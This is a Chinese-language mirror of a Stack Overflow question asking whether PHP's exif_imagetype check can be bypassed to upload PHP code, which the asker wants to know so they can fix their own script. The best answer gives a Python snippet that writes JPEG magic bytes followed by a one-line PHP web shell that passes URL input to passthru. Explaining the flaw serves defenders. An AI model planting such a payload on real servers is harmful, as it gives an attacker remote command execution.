php - 如何绕过exif_imagetype函数上传php代码?

标签 php file-upload

我读到 exif_imagetype 是一个安全函数,可以避免上传 php 或其他 shell 代码而不是图像文件。最近看了另一篇文章,我们可以通过一些简单的方法绕过这个安全功能。因此,如果有人知道绕过的确切方法,您能否分享您的答案。

我在我的 php 脚本中使用了以下代码,所以我想知道它是否存在漏洞并针对相同的问题进行补救

 if (! exif_imagetype($_FILES['upload']['tmp_name'])) 
   { 
    echo "File is not an image";
   }

最佳答案

根据@jake_the_snake 先生的回答,我还会在 Python 中包含一个快速代码示例

>>> fh = open('shell.php', 'w')
>>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')
>>> fh.close()

关于php - 如何绕过exif_imagetype函数上传php代码?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/18357095/

相关文章:

php - 四舍五入php的值与VB(Visual basic)不同

javascript - 从具有输入文件元素的表单访问文件

javascript - 在提交表单时,检查准备上传的文件的大小?

php mysqli WHERE IN (?,?,? ...)

php - 使用不同表中另一行的数据更新单行或多行

php - 如何创建带有毫秒的Mysql unix_timestamp

php - href ='image/{{$image->id}}' 和 href ='/image/{{$image->id}}' 之间有区别吗?

objective-c - NSURLConnection FTP文件上传

javascript - 第二次使用输入文件不再触发 onchange

c# - 文件上传在 ASP.NET MVC4 中不起作用 - 移动模板